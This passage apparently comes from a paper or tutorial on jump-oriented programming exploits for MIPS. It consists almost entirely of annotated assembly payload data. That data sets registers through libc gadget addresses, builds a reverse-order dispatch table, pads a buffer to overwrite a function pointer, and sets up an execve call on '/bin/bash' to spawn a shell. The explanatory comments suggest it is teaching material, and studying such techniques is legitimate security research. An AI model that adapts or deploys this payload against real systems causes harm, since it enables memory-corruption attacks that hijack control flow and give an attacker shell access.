; Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp
; points 24 bytes before the start of this buffer, so we start with some padding.
times 32-24 db 'x'

dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
times 44-36 db 'x' ; sp+36 (padding)

dd base + g_start ; sp+44 Sets v0 - offset
times 128-48 db 'x' ; sp+48 (padding)

dd -4 ; sp+128 Sets a0 - delta
dd 0xaaaaaaaa ; sp+132 Sets a1
dd 0xaaaaaaaa ; sp+136 Sets a2
dd 0xaaaaaaaa ; sp+140 (padding, since we can only advance $sp by multiples of 8)
```
MIPS full exploit code (2)

38 ; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
39 ; been advanced by 112 bytes, so it points 32 bytes before this point.
40 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
41 times 44-36 db 'x' ; sp+36 (padding)
42 dd 0xededede ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
43 times 80-48 db 'x' ; sp+48 (padding)
44 dd -4011 ; sp+80 The syscall number for "execve", negated.
45 times 128-84 db 'x'; sp+84 (padding)
46 dd base+shell_path ; sp+128 Sets a0
47 dd to_null ; sp+132 Sets a1
48 dd to_null ; sp+136 Sets a2
49
50 ; ===== DISPATCH TABLE =====
51 ; The dispatch table is in reverse order
52 g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code)
53 g04: dd libc-gp+0x34b8c ; Gadget "g04" (see table above for machine code)
54 g03: dd libc-gp+0x7deb0 ; Gadget: jalr t9 ; negu a1,s2
55 g02: dd libc-gp+0x6636c ; Gadget: lw s2,80(sp) ; jalr t9 ; move s6,a3
56 g01: dd libc-gp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
57 g00: dd libc-gp+0x1b1ac ; Gadget: jr t9 ; addiu sp,sp,96
58 g_start: ; Start of the dispatch table, which is in reverse order.
59
60 ; ===== OVERFLOW PADDING =====
61 times buffer_length - ($-$$) db 'x' ; Pad to the end of the legal buffer
62
63 ; ===== FUNCTION POINTER OVERFLOW =====
64 dd initializer
65
66 ; ===== SHELL STRING =====
67 shell_path: db "/bin/bash"
68 db 0 ; End in NULL to finish the string overflow
References


